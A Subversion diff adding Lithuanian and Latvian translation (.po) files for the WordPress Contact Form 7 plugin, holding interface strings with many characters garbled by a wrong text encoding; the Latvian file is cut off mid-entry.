--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-lt_LT.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-lt_LT.po	(revision 44)
@@ -0,0 +1,504 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Contact Form 7\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-08-23 14:23+0200\n"
+"PO-Revision-Date: 2009-08-23 15:16+0300\n"
+"Last-Translator: Ernestas Kardzys <projects@ernestas.info>\n"
+"Language-Team: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-KeywordsList: __;_e;__ngettext:1,2;_c\n"
+"X-Poedit-Basepath: ../..\n"
+"Plural-Forms: nplurals=1; plural=0;\n"
+"X-Poedit-SearchPath-0: contact-form-7\n"
+
+#: contact-form-7/admin/admin-panel.php:9
+#, php-format
+msgid "<strong>The database table for Contact Form 7 does not exist.</strong> You must <a href=\"%s\">create the table</a> for it to work."
+msgstr "<strong>Contact Form 7 duomenÅ³ lentelÄ neegzistuoja.</strong> JÅ«s privalote <a href=\"%s\">sukurti lentelÄ</a> kad ji veiktÅ³."
+
+#: contact-form-7/admin/admin-panel.php:12
+msgid "<strong>The database table for Contact Form 7 does not exist.</strong>"
+msgstr "<strong>Contact Form 7 duomenÅ³ lentelÄ neegzistuoja.</strong>"
+
+#: contact-form-7/admin/admin-panel.php:17
+#: contact-form-7/admin/admin-panel.php:30
+#: contact-form-7/admin/admin.php:118
+msgid "Contact Form 7"
+msgstr "Contact Form 7"
+
+#: contact-form-7/admin/admin-panel.php:45
+msgid "Add new"
+msgstr "PridÄti naujÄ
+"
+
+#: contact-form-7/admin/admin-panel.php:67
+msgid "Copy this code and paste it into your post, page or text widget content."
+msgstr "Nukopijuokite Å¡Ä¯ kodÄ
+ ir Ä¯terpkite Ä¯ JÅ«sÅ³ ÅŸinutÄ, puslapÄ¯ ar tekstinÄ¯ Ä¯skiepÄ¯."
+
+#: contact-form-7/admin/admin-panel.php:75
+#: contact-form-7/admin/admin-panel.php:327
+msgid "Save"
+msgstr "IÅ¡saugoti"
+
+#: contact-form-7/admin/admin-panel.php:82
+msgid "Copy"
+msgstr "Nukopijuoti"
+
+#: contact-form-7/admin/admin-panel.php:87
+msgid "Delete"
+msgstr "IÅ¡trinti"
+
+#: contact-form-7/admin/admin-panel.php:89
+#: contact-form-7/admin/admin-panel.php:102
+msgid "Form"
+msgstr "Forma"
+
+#: contact-form-7/admin/admin-panel.php:120
+msgid "Mail"
+msgstr "PaÅ¡tas"
+
+#: contact-form-7/admin/admin-panel.php:127
+#: contact-form-7/admin/admin-panel.php:188
+msgid "To:"
+msgstr "Kam:"
+
+#: contact-form-7/admin/admin-panel.php:132
+#: contact-form-7/admin/admin-panel.php:193
+msgid "From:"
+msgstr "Nuo:"
+
+#: contact-form-7/admin/admin-panel.php:137
+#: contact-form-7/admin/admin-panel.php:198
+msgid "Subject:"
+msgstr "AntraÅ¡tÄ:"
+
+#: contact-form-7/admin/admin-panel.php:144
+#: contact-form-7/admin/admin-panel.php:205
+msgid "Additional headers:"
+msgstr "Papildomos antraÅ¡tÄs:"
+
+#: contact-form-7/admin/admin-panel.php:149
+#: contact-form-7/admin/admin-panel.php:210
+msgid "File attachments:"
+msgstr "Failo priedai:"
+
+#: contact-form-7/admin/admin-panel.php:157
+#: contact-form-7/admin/admin-panel.php:218
+msgid "Use HTML content type"
+msgstr "Naudoti HTML turinÄ¯"
+
+#: contact-form-7/admin/admin-panel.php:164
+#: contact-form-7/admin/admin-panel.php:225
+msgid "Message body:"
+msgstr "ÅœinutÄs tekstas"
+
+#: contact-form-7/admin/admin-panel.php:174
+msgid "Mail (2)"
+msgstr "Mail(2)"
+
+#: contact-form-7/admin/admin-panel.php:180
+msgid "Use mail (2)"
+msgstr "Naudoti mail(2)"
+
+#: contact-form-7/admin/admin-panel.php:235
+msgid "Messages"
+msgstr "ÅœinutÄs"
+
+#: contact-form-7/admin/admin-panel.php:243
+msgid "Sender's message was sent successfully"
+msgstr "SiuntÄjo ÅŸinutÄ sÄkmingai iÅ¡siÅ³sta"
+
+#: contact-form-7/admin/admin-panel.php:248
+msgid "Sender's message was failed to send"
+msgstr "Nepavyko iÅ¡siÅ³sti siuntÄjo ÅŸinutÄs"
+
+#: contact-form-7/admin/admin-panel.php:253
+msgid "Akismet judged the sending activity as spamming"
+msgstr "Akismet nusprendÄ, kad siuntimo veiksmai yra 'spam'as'"
+
+#: contact-form-7/admin/admin-panel.php:258
+msgid "Validation errors occurred"
+msgstr "Ä®vyko Ä¯vertinimo klaidos"
+
+#: contact-form-7/admin/admin-panel.php:263
+msgid "There is a field that sender is needed to fill in"
+msgstr "BÅ«tina uÅŸpildyti vienÄ
+ laukÄ
+"
+
+#: contact-form-7/admin/admin-panel.php:268
+msgid "Email address that sender entered is invalid"
+msgstr "SiuntÄjo Ä¯vestas el. paÅ¡to adresas yra neteisingas"
+
+#: contact-form-7/admin/admin-panel.php:273
+msgid "There is a field of term that sender is needed to accept"
+msgstr "SiuntÄjas privalo sutikti su viena iÅ¡ sÄ
+lygÅ³"
+
+#: contact-form-7/admin/admin-panel.php:278
+msgid "Sender doesn't enter the correct answer to the quiz"
+msgstr "SiuntÄjas neÄ¯vedÄ teisingo apklausos atsakymo"
+
+#: contact-form-7/admin/admin-panel.php:283
+msgid "The code that sender entered does not match the CAPTCHA"
+msgstr "SiuntÄjo Ä¯vestas kodas nesutampa"
+
+#: contact-form-7/admin/admin-panel.php:288
+msgid "Uploading a file fails for any reason"
+msgstr "FailÅ³ nusiuntimas nepavyksta dÄl bet kokios prieÅŸasties"
+
+#: contact-form-7/admin/admin-panel.php:293
+msgid "Uploaded file is not allowed file type"
+msgstr "NusiÅ³stas failas yra neleidÅŸiamo tipo"
+
+#: contact-form-7/admin/admin-panel.php:298
+msgid "Uploaded file is too large"
+msgstr "NusiÅ³stas failas yra per didelis"
+
+#: contact-form-7/admin/admin-panel.php:309
+msgid "Additional Settings"
+msgstr "Papildomi nustatymai"
+
+#: contact-form-7/admin/admin.php:118
+msgid "Contact"
+msgstr "Kontaktas"
+
+#: contact-form-7/admin/admin.php:121
+msgid "Edit Contact Forms"
+msgstr "Redaguoti kontaktÅ³ formas"
+
+#: contact-form-7/admin/admin.php:121
+msgid "Edit"
+msgstr "Redaguoti"
+
+#: contact-form-7/admin/admin.php:168
+msgid "optional"
+msgstr "papildomi"
+
+#: contact-form-7/admin/admin.php:169
+msgid "Generate Tag"
+msgstr "Generuoti ÅŸymÄ
+"
+
+#: contact-form-7/admin/admin.php:170
+msgid "Text field"
+msgstr "Tekstinis laukas"
+
+#: contact-form-7/admin/admin.php:171
+msgid "Email field"
+msgstr "El. paÅ¡to laukas"
+
+#: contact-form-7/admin/admin.php:172
+msgid "Text area"
+msgstr "Teksto laukelis"
+
+#: contact-form-7/admin/admin.php:173
+msgid "Drop-down menu"
+msgstr "IÅ¡siskleidÅŸiantis meniu"
+
+#: contact-form-7/admin/admin.php:174
+msgid "Checkboxes"
+msgstr "Varnele ÅŸymimas laukelis"
+
+#: contact-form-7/admin/admin.php:175
+msgid "Radio buttons"
+msgstr "Pasirinkimo laukelis"
+
+#: contact-form-7/admin/admin.php:176
+msgid "Acceptance"
+msgstr "Sutikmas"
+
+#: contact-form-7/admin/admin.php:177
+msgid "Make this checkbox checked by default?"
+msgstr "PaÅŸymÄti Å¡Ä¯ laukelÄ¯ varnele standartiÅ¡kai?"
+
+#: contact-form-7/admin/admin.php:178
+msgid "Make this checkbox work inversely?"
+msgstr "Ar reikia, kad laukelis veiktÅ³ prieÅ¡ingai?"
+
+#: contact-form-7/admin/admin.php:179
+msgid "* That means visitor who accepts the term unchecks it."
+msgstr "* Tai reiÅ¡kia, kad sutinkantis su sÄ
+lygomis lankytojas nuÅŸymi."
+
+#: contact-form-7/admin/admin.php:180
+msgid "CAPTCHA"
+msgstr "CAPTCH"
+
+#: contact-form-7/admin/admin.php:181
+msgid "Quiz"
+msgstr "Apklausa"
+
+#: contact-form-7/admin/admin.php:182
+msgid "Quizzes"
+msgstr "Apklausos"
+
+#: contact-form-7/admin/admin.php:183
+msgid "* quiz|answer (e.g. 1+1=?|2)"
+msgstr "* apklausa|atsakymas (pvz. 1+1=?|2)"
+
+#: contact-form-7/admin/admin.php:184
+msgid "File upload"
+msgstr "FailÅ³ nustiuntimas"
+
+#: contact-form-7/admin/admin.php:185
+msgid "bytes"
+msgstr "baitÅ³"
+
+#: contact-form-7/admin/admin.php:186
+msgid "Submit button"
+msgstr "Nusiuntimo mygtukas"
+
+#: contact-form-7/admin/admin.php:187
+msgid "Name"
+msgstr "Vardas"
+
+#: contact-form-7/admin/admin.php:188
+msgid "Required field?"
+msgstr "BÅ«tinas laukas?"
+
+#: contact-form-7/admin/admin.php:189
+msgid "Allow multiple selections?"
+msgstr "Leisti paÅŸymÄti kelis?"
+
+#: contact-form-7/admin/admin.php:190
+msgid "Insert a blank item as the first option?"
+msgstr "Ä®terpti tuÅ¡ÄiÄ
+ laukelÄ¯ kaip pirmÄ
+ pasirinkimÄ
+?"
+
+#: contact-form-7/admin/admin.php:191
+msgid "Make checkboxes exclusive?"
+msgstr "Pavesti varnele ÅŸymimus laukelius iÅ¡skirtiniais?"
+
+#: contact-form-7/admin/admin.php:192
+msgid "Choices"
+msgstr "Pasirinkimai"
+
+#: contact-form-7/admin/admin.php:193
+msgid "Label"
+msgstr "ÅœymÄ"
+
+#: contact-form-7/admin/admin.php:194
+msgid "Default value"
+msgstr "StandartinÄ reikÅ¡mÄ"
+
+#: contact-form-7/admin/admin.php:195
+msgid "Akismet"
+msgstr "Akismet"
+
+#: contact-form-7/admin/admin.php:196
+msgid "This field requires author's name"
+msgstr "Å is laukas reikalauja autoriaus vardo"
+
+#: contact-form-7/admin/admin.php:197
+msgid "This field requires author's URL"
+msgstr "Å is laukas reikalauja autoriaus interneto svetainÄs adreso"
+
+#: contact-form-7/admin/admin.php:198
+msgid "This field requires author's email address"
+msgstr "Å is laukas reikalauja autoriaus el. paÅ¡to"
+
+#: contact-form-7/admin/admin.php:199
+msgid "Copy this code and paste it into the form left."
+msgstr "Nukopijuokite Å¡Ä¯ kodÄ
+ ir Ä¯terpkite formoje kairÄje"
+
+#: contact-form-7/admin/admin.php:200
+msgid "Foreground color"
+msgstr "PagrindinÄ spalva"
+
+#: contact-form-7/admin/admin.php:201
+msgid "Background color"
+msgstr "Fono spalva"
+
+#: contact-form-7/admin/admin.php:202
+msgid "Image size"
+msgstr "Paveiksliuko dydis"
+
+#: contact-form-7/admin/admin.php:203
+msgid "Small"
+msgstr "MaÅŸas"
+
+#: contact-form-7/admin/admin.php:204
+msgid "Medium"
+msgstr "Vidutinis"
+
+#: contact-form-7/admin/admin.php:205
+msgid "Large"
+msgstr "Didelis"
+
+#: contact-form-7/admin/admin.php:206
+msgid "Image settings"
+msgstr "Paveiksliuko nustatymai"
+
+#: contact-form-7/admin/admin.php:207
+msgid "Input field settings"
+msgstr "Ä®vesties lauko nustatymai"
+
+#: contact-form-7/admin/admin.php:208
+msgid "For image"
+msgstr "Paveiksliukui"
+
+#: contact-form-7/admin/admin.php:209
+msgid "For input field"
+msgstr "Ä®vesties laukui"
+
+#: contact-form-7/admin/admin.php:210
+msgid "* One choice per line."
+msgstr "* Vienas pasirinkimas eilutÄje."
+
+#: contact-form-7/admin/admin.php:211
+msgid "Show"
+msgstr "Rodyti"
+
+#: contact-form-7/admin/admin.php:212
+msgid "Hide"
+msgstr "PaslÄpti"
+
+#: contact-form-7/admin/admin.php:213
+msgid "File size limit"
+msgstr "Failo dydÅŸio riba"
+
+#: contact-form-7/admin/admin.php:214
+msgid "Acceptable file types"
+msgstr "Priimtini failÅ³ tipai"
+
+#: contact-form-7/admin/admin.php:215
+msgid "Note: To use CAPTCHA, you need Really Simple CAPTCHA plugin installed."
+msgstr "Pastaba: norÄdami naudoti CAPTCH, privalote Ä¯diegti Really Simple CAPTCHA Ä¯skiepÄ¯."
+
+#: contact-form-7/admin/admin.php:226
+msgid "Contact form created."
+msgstr "KontaktÅ³ forma sukurta"
+
+#: contact-form-7/admin/admin.php:229
+msgid "Contact form saved."
+msgstr "KontaktÅ³ forma iÅ¡saugota"
+
+#: contact-form-7/admin/admin.php:232
+msgid "Contact form deleted."
+msgstr "KontaktÅ³ forma iÅ¡trinta"
+
+#: contact-form-7/admin/admin.php:235
+msgid "Database table created."
+msgstr "DuomenÅ³ bazÄs lentelÄ sukurta."
+
+#: contact-form-7/admin/admin.php:238
+msgid "Failed to create database table."
+msgstr "Nepavyko sukurti duomenÅ³ bazÄs lentelÄs."
+
+#: contact-form-7/admin/admin.php:311
+msgid "Contact form"
+msgstr "KontaktÅ³ forma"
+
+#: contact-form-7/admin/admin.php:345
+msgid "Settings"
+msgstr "Nustatymai"
+
+#: contact-form-7/admin/admin.php:366
+msgid "Contact Form 7 needs your support. Please donate today."
+msgstr "Contact Form 7 reikia JÅ«sÅ³ palaikymo. PraÅ¡au paremti Å¡iandien"
+
+#: contact-form-7/admin/admin.php:367
+msgid "Is this plugin useful for you? If you like it, please help the developer."
+msgstr "Ar Å¡is Ä¯skiepis yra Jums naudingas? Jeigu jis jums patiko, praÅ¡au padÄti kÅ«rÄjui."
+
+#: contact-form-7/admin/admin.php:368
+msgid "Your contribution is needed for making this plugin better."
+msgstr "JÅ«sÅ³ parama reikalinga Å¡io Ä¯skiepio tobulinimui"
+
+#: contact-form-7/admin/admin.php:369
+msgid "Developing a plugin and providing user support is really hard work. Please help."
+msgstr "Ä®skiepio tobulinimas ir pagalba vartotojams yra sunkus darbas. PraÅ¡au padÄti"
+
+#: contact-form-7/includes/classes.php:536
+msgid "Untitled"
+msgstr "BevardÄ"
+
+#: contact-form-7/includes/functions.php:6
+msgid "Your message was sent successfully. Thanks."
+msgstr "JÅ«sÅ³ ÅŸinutÄ iÅ¡siÅ³sta sÄkmingai. AÄiÅ«."
+
+#: contact-form-7/includes/functions.php:8
+#: contact-form-7/includes/functions.php:10
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "Nepavyko iÅ¡siÅ³sti JÅ«sÅ³ ÅŸinutÄs. PraÅ¡au pabandyti vÄliau arba susiekite su administratoriumi kitu bÅ«du."
+
+#: contact-form-7/includes/functions.php:12
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "Ä®vyko patikrinimo klaidÅ³. PraÅ¡au patikrinti laukelius ir nusiÅ³skite formÄ
+ dar kartÄ
+."
+
+#: contact-form-7/includes/functions.php:14
+msgid "Please accept the terms to proceed."
+msgstr "NorÄdami tÄsti, praÅ¡au praÅ¡au sutikti su sÄ
+lygomis."
+
+#: contact-form-7/includes/functions.php:16
+msgid "Email address seems invalid."
+msgstr "Neteisingas el. paÅ¡to adresas"
+
+#: contact-form-7/includes/functions.php:18
+msgid "Please fill the required field."
+msgstr "PraÅ¡au uÅŸpildyti reikalaujamÄ
+ laukÄ
+."
+
+#: contact-form-7/includes/functions.php:20
+msgid "Your entered code is incorrect."
+msgstr "Ä®vestas neteisingas kodas."
+
+#: contact-form-7/includes/functions.php:22
+msgid "Your answer is not correct."
+msgstr "JÅ«sÅ³ atsakymas yra neteisingas."
+
+#: contact-form-7/includes/functions.php:24
+msgid "Failed to upload file."
+msgstr "Nepavyko nusiÅ³sti failo."
+
+#: contact-form-7/includes/functions.php:26
+msgid "This file type is not allowed."
+msgstr "Å is failo tipas yra neleidÅŸiamas."
+
+#: contact-form-7/includes/functions.php:28
+msgid "This file is too large."
+msgstr "Failas yra per didelis"
+
+#: contact-form-7/includes/functions.php:33
+msgid "Your Name"
+msgstr "JÅ«sÅ³ vardas"
+
+#: contact-form-7/includes/functions.php:33
+#: contact-form-7/includes/functions.php:35
+msgid "(required)"
+msgstr "(bÅ«tinas)"
+
+#: contact-form-7/includes/functions.php:35
+msgid "Your Email"
+msgstr "JÅ«sÅ³ el. paÅ¡tas"
+
+#: contact-form-7/includes/functions.php:37
+msgid "Subject"
+msgstr "AntraÅ¡tÄ"
+
+#: contact-form-7/includes/functions.php:39
+msgid "Your Message"
+msgstr "JÅ«sÅ³ ÅŸinutÄ"
+
+#: contact-form-7/includes/functions.php:41
+#: contact-form-7/modules/submit.php:37
+msgid "Send"
+msgstr "SiÅ³sti"
+
+#: contact-form-7/modules/captcha.php:62
+msgid "To use CAPTCHA, you need <a href=\"http://wordpress.org/extend/plugins/really-simple-captcha/\">Really Simple CAPTCHA</a> plugin installed."
+msgstr "NorÄdami naudoti CAPTCHA, jums reikia Ä¯diegti <a href=\"http://wordpress.org/extend/plugins/really-simple-captcha/\">Really Simple CAPTCHA</a> Ä¯skiepÄ¯."
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-lv.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-lv.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-lv.po	(revision 44)
@@ -0,0 +1,432 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: wpcf7-lv\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-02-21 11:20+0900\n"
+"PO-Revision-Date: 2009-03-02 14:33+0200\n"
+"Last-Translator: \n"
+"Language-Team: Kleofass.lv <spam@kleofass.lv>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=utf-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-KeywordsList: __;_e;__ngettext:1,2;_c\n"
+"X-Poedit-Language: Latvian\n"
+"X-Poedit-Country: LATVIA\n"
+
+#: contact-form-7/wp-contact-form-7.php:413
+msgid "Contact form"
+msgstr "Kontaktu forma"
+
+#: contact-form-7/wp-contact-form-7.php:598
+#: contact-form-7/includes/admin-panel.php:5
+msgid "Contact Form 7"
+msgstr "Kontaktu Forma 7"
+
+#: contact-form-7/wp-contact-form-7.php:621
+msgid "optional"
+msgstr "neobligÄts"
+
+#: contact-form-7/wp-contact-form-7.php:622
+msgid "Generate Tag"
+msgstr "Ä¢enerÄt Birku"
+
+#: contact-form-7/wp-contact-form-7.php:623
+msgid "Text field"
+msgstr "Teksta lauks"
+
+#: contact-form-7/wp-contact-form-7.php:624
+msgid "Email field"
+msgstr "E-pasta lauks"
+
+#: contact-form-7/wp-contact-form-7.php:625
+msgid "Text area"
+msgstr "Teksta apgabals"
+
+#: contact-form-7/wp-contact-form-7.php:626
+msgid "Drop-down menu"
+msgstr "NolaiÅŸamÄ izvÄlne"
+
+#: contact-form-7/wp-contact-form-7.php:627
+msgid "Checkboxes"
+msgstr "IzvÄles rÅ«tiÅas"
+
+#: contact-form-7/wp-contact-form-7.php:628
+msgid "Radio buttons"
+msgstr "Radio pogas"
+
+#: contact-form-7/wp-contact-form-7.php:629
+msgid "Acceptance"
+msgstr "PieÅemÅ¡ana"
+
+#: contact-form-7/wp-contact-form-7.php:630
+msgid "Make this checkbox checked by default?"
+msgstr "Izveidot pÄc noklusÄjuma kÄ atzÄ«mÄtu Å¡o izvÄles rÅ«tiÅu?"
+
+#: contact-form-7/wp-contact-form-7.php:631
+msgid "Make this checkbox work inversely?"
+msgstr "Izveidot Å¡o rÅ«tiÅu kÄ pretÄji proporcionÄlu?"
+
+#: contact-form-7/wp-contact-form-7.php:632
+msgid "* That means visitor who accepts the term unchecks it."
+msgstr "* Tas nozÄ«mÄ, ka apmeklÄtÄjam ir jÄizÄ·eksÄ to, lai apstiprinÄtu noteikumus."
+
+#: contact-form-7/wp-contact-form-7.php:633
+msgid "CAPTCHA"
+msgstr "CAPTCHA"
+
+#: contact-form-7/wp-contact-form-7.php:634
+msgid "Quiz"
+msgstr "ViktorÄ«na"
+
+#: contact-form-7/wp-contact-form-7.php:635
+msgid "Quizzes"
+msgstr "ViktorÄ«nas"
+
+#: contact-form-7/wp-contact-form-7.php:636
+msgid "* quiz|answer (e.g. 1+1=?|2)"
+msgstr "* viktorÄ«na|atbildÄt (piemÄram, 1+1=?|2)"
+
+#: contact-form-7/wp-contact-form-7.php:637
+msgid "File upload"
+msgstr "Faila augÅ¡upielÄde"
+
+#: contact-form-7/wp-contact-form-7.php:638
+msgid "bytes"
+msgstr "baiti"
+
+#: contact-form-7/wp-contact-form-7.php:639
+msgid "Submit button"
+msgstr "ApstiprinÄÅ¡anas poga"
+
+#: contact-form-7/wp-contact-form-7.php:640
+msgid "Name"
+msgstr "VÄrds"
+
+#: contact-form-7/wp-contact-form-7.php:641
+msgid "Required field?"
+msgstr "NepiecieÅ¡amais lauks?"
+
+#: contact-form-7/wp-contact-form-7.php:642
+msgid "Allow multiple selections?"
+msgstr "AtÄŒaut daudzkÄrtÄ«gas izvÄles?"
+
+#: contact-form-7/wp-contact-form-7.php:643
+msgid "Insert a blank item as the first option?"
+msgstr "Ievietot tukÅ¡u ziÅu, kÄ pirmo izvÄli?"
+
+#: contact-form-7/wp-contact-form-7.php:644
+msgid "Make checkboxes exclusive?"
+msgstr "Izveidot izvÄles rÅ«tiÅas kÄ izÅÄmumus?"
+
+#: contact-form-7/wp-contact-form-7.php:645
+msgid "Choices"
+msgstr "IzvÄles"
+
+#: contact-form-7/wp-contact-form-7.php:646
+msgid "Label"
+msgstr "EtiÄ·ete"
+
+#: contact-form-7/wp-contact-form-7.php:647
+msgid "Default value"
+msgstr "NoklusÄjuma vÄrtÄ«ba"
+
+#: contact-form-7/wp-contact-form-7.php:648
+msgid "Akismet"
+msgstr "Akismet"
+
+#: contact-form-7/wp-contact-form-7.php:649
+msgid "This field requires author's name"
+msgstr "Å ajÄ laukÄ nepiecieÅ¡ams autora vÄrds"
+
+#: contact-form-7/wp-contact-form-7.php:650
+msgid "This field requires author's URL"
+msgstr "Å ajÄ laukÄ nepiecieÅ¡ams autora URL"
+
+#: contact-form-7/wp-contact-form-7.php:651
+msgid "This field requires author's email address"
+msgstr "Å ajÄ laukÄ nepiecieÅ¡ama autora e-pasta adrese"
+
+#: contact-form-7/wp-contact-form-7.php:652
+msgid "Copy this code and paste it into the form left."
+msgstr "NokopÄt un ievietot Å¡o kodu formÄ."
+
+#: contact-form-7/wp-contact-form-7.php:653
+msgid "Foreground color"
+msgstr "PriekÅ¡plÄna krÄsa"
+
+#: contact-form-7/wp-contact-form-7.php:654
+msgid "Background color"
+msgstr "Fona krÄsa"
+
+#: contact-form-7/wp-contact-form-7.php:655
+msgid "Image size"
+msgstr "AttÄla lielums"
+
+#: contact-form-7/wp-contact-form-7.php:656
+msgid "Small"
+msgstr "Mazs"
+
+#: contact-form-7/wp-contact-form-7.php:657
+msgid "Medium"
+msgstr "VidÄjs"
+
+#: contact-form-7/wp-contact-form-7.php:658
+msgid "Large"
+msgstr "Liels"
+
+#: contact-form-7/wp-contact-form-7.php:659
+msgid "Image settings"
+msgstr "AttÄla iestatÄ«jumi"
+
+#: contact-form-7/wp-contact-form-7.php:660
+msgid "Input field settings"
+msgstr "Ievadlauka iestatÄ«jumi"
+
+#: contact-form-7/wp-contact-form-7.php:661
+msgid "For image"
+msgstr "PriekÅ¡ attÄla"
+
+#: contact-form-7/wp-contact-form-7.php:662
+msgid "For input field"
+msgstr "PriekÅ¡ ievadlauka"
+
+#: contact-form-7/wp-contact-form-7.php:663
+msgid "* One choice per line."
+msgstr "* Viena izvÄle uz lÄ«niju."
+
+#: contact-form-7/wp-contact-form-7.php:664
+msgid "Show"
+msgstr "RÄdÄ«t"
+
+#: contact-form-7/wp-contact-form-7.php:665
+msgid "Hide"
+msgstr "SlÄpt"
+
+#: contact-form-7/wp-contact-form-7.php:666
+msgid "File size limit"
+msgstr "Faila izmÄra limits"
+
+#: contact-form-7/wp-contact-form-7.php:667
+msgid "Acceptable file types"
+msgstr "PieÅemamie failu veidi"
+
+#: contact-form-7/wp-contact-form-7.php:693
+msgid "Contact form created."
+msgstr "Kontaktu forma izveidota."
+
+#: contact-form-7/wp-contact-form-7.php:696
+msgid "Contact form saved."
+msgstr "Kontaktu forma saglabÄta."
+
+#: contact-form-7/wp-contact-form-7.php:699
+msgid "Contact form deleted."
+msgstr "Kontaktu forma dzÄsta."
+
+#: contact-form-7/wp-contact-form-7.php:710
+msgid "Untitled"
+msgstr "Bez nosaukuma"
+
+#: contact-form-7/wp-contact-form-7.php:737
+msgid "Your Name"
+msgstr "JÅ«su VÄrds"
+
+#: contact-form-7/wp-contact-form-7.php:737
+#: contact-form-7/wp-contact-form-7.php:739
+msgid "(required)"
+msgstr "(nepiecieÅ¡ams)"
+
+#: contact-form-7/wp-contact-form-7.php:739
+msgid "Your Email"
+msgstr "JÅ«su E-pasts"
+
+#: contact-form-7/wp-contact-form-7.php:741
+msgid "Subject"
+msgstr "Temats"
+
+#: contact-form-7/wp-contact-form-7.php:743
+msgid "Your Message"
+msgstr "JÅ«su ZiÅa"
+
+#: contact-form-7/wp-contact-form-7.php:745
+#: contact-form-7/wp-contact-form-7.php:1474
+msgid "Send"
+msgstr "NosÅ«tÄ«t"
+
+#: contact-form-7/wp-contact-form-7.php:799
+msgid "Your message was sent successfully. Thanks."
+msgstr "JÅ«su ziÅa ir veiksmÄ«gi nosÅ«tÄ«ta. Paldies."
+
+#: contact-form-7/wp-contact-form-7.php:801
+#: contact-form-7/wp-contact-form-7.php:803
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "KÄŒÅ«da nosÅ«tot jÅ«su ziÅu. LÅ«dzu mÄÄ£iniet vÄlÄk vai sazinieties ar administratoru citÄ veidÄ."
+
+#: contact-form-7/wp-contact-form-7.php:805
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "AtgadÄ«jÄs apstiprinÄÅ¡anas kÄŒÅ«da. LÅ«dzu apstipriniet laukus un nosÅ«tiet to atkal."
+
+#: contact-form-7/wp-contact-form-7.php:807
+msgid "Please accept the terms to proceed."
+msgstr "LÅ«dzu apstipriniet noteikumus, lai turpinÄtu."
+
+#: contact-form-7/wp-contact-form-7.php:809
+msgid "Email address seems invalid."
+msgstr "E-pasta adrese ir nederÄ«ga."
+
+#: contact-form-7/wp-contact-form-7.php:811
+msgid "Please fill the required field."
+msgstr "LÅ«dzu aizpildiet nepiecieÅ¡amos laukus."
+
+#: contact-form-7/wp-contact-form-7.php:813
+msgid "Your entered code is incorrect."
+msgstr "JÅ«su ierakstÄ«tais kods ir nepareizs."
+
+#: contact-form-7/wp-contact-form-7.php:815
+msgid "Your answer is not correct."
+msgstr "JÅ«su atbilde nav pareiza."
+
+#: contact-form-7/wp-contact-form-7.php:817
+msgid "Failed to upload file."
+msgstr "NeizdevÄs augÅ¡upielÄdÄt failu."
+
+#: contact-form-7/wp-contact-form-7.php:819
+msgid "This file type is not allowed."
+msgstr "Å Ä« faila veids, nav atÄŒauts."
+
+#: contact-form-7/wp-contact-form-7.php:821
+msgid "This file is too large."
+msgstr "Å is fails ir pÄrÄk liels."
+
+#: contact-form-7/includes/admin-panel.php:20
+msgid "Add new"
+msgstr "Pievienot jaunu"
+
+#: contact-form-7/includes/admin-panel.php:42
+msgid "Copy this code and paste it into your post, page or text widget content."
+msgstr "NokopÄt un ievietot Å¡o kodu jÅ«su ziÅas saturÄ."
+
+#: contact-form-7/includes/admin-panel.php:49
+#: contact-form-7/includes/admin-panel.php:262
+msgid "Save"
+msgstr "SaglabÄt"
+
+#: contact-form-7/includes/admin-panel.php:56
+msgid "Copy"
+msgstr "KopÄt"
+
+#: contact-form-7/includes/admin-panel.php:60
+msgid "Delete"
+msgstr "DzÄst"
+
+#: contact-form-7/includes/admin-panel.php:61
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"Tiks izdzÄsta Å¡Ä« kontaktu forma.\n"
+"  'Cancel' - lai apturÄtu, 'OK' - lai dzÄstu."
+
+#: contact-form-7/includes/admin-panel.php:75
+msgid "Form"
+msgstr "Forma"
+
+#: contact-form-7/includes/admin-panel.php:95
+msgid "Mail"
+msgstr "E-pasts"
+
+#: contact-form-7/includes/admin-panel.php:102
+#: contact-form-7/includes/admin-panel.php:154
+msgid "To:"
+msgstr "Kam:"
+
+#: contact-form-7/includes/admin-panel.php:106
+#: contact-form-7/includes/admin-panel.php:158
+msgid "From:"
+msgstr "No:"
+
+#: contact-form-7/includes/admin-panel.php:110
+#: contact-form-7/includes/admin-panel.php:162
+msgid "Subject:"
+msgstr "Temats:"
+
+#: contact-form-7/includes/admin-panel.php:115
+#: contact-form-7/includes/admin-panel.php:167
+msgid "File attachments:"
+msgstr "Failu pielikumi:"
+
+#: contact-form-7/includes/admin-panel.php:117
+#: contact-form-7/includes/admin-panel.php:169
+msgid "(You need WordPress 2.7 or greater to use this feature)"
+msgstr "(Jums ir nepiecieÅ¡ams WordPress 2.7 vai jaunÄks, lai izmantotu Å¡o funkciju)"
+
+#: contact-form-7/includes/admin-panel.php:125
+#: contact-form-7/includes/admin-panel.php:177
+msgid "Use HTML content type"
+msgstr "Izmantojiet HTML satura veidu"
+
+#: contact-form-7/includes/admin-panel.php:130
+#: contact-form-7/includes/admin-panel.php:182
+msgid "Message body:"
+msgstr "ZiÅa:"
+
+#: contact-form-7/includes/admin-panel.php:141
+msgid "Mail (2)"
+msgstr "E-pasts (2)"
+
+#: contact-form-7/includes/admin-panel.php:148
+msgid "Use mail (2)"
+msgstr "Lietot e-pastu (2)"
+
+#: contact-form-7/includes/admin-panel.php:193
